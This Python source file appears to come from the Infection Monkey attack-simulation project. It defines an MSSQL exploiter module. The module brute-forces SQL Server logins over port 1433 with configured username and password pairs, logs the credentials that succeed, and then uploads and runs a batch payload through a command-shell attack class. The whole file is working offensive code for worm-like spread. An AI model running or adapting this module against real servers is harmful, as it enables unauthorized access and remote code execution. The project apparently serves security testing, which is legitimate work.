monkey/infection_monkey/exploit/mssqlexec.py

107 lines
4.2 KiB
Python

from os import path
import logging
import pymssql
import mssqlexec_utils
from exploit import HostExploiter
__author__ = 'Maor Rayzin'
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat')
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
self.DEFAULT_PAYLOAD_PATH):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
def handle_payload(self, cursor, payload):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Return:
True or False depends on process success
"""
chosen_attack = self.attacks_list[0](payload, cursor)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
try:
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
LOG.info('Successfully connected to host: {0}, '
'using user: {1}, password: {2}'.format(host, user, password))
cursor = conn.cursor()
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
except pymssql.OperationalError:
# Combo didn't work, hopping to the next one
pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False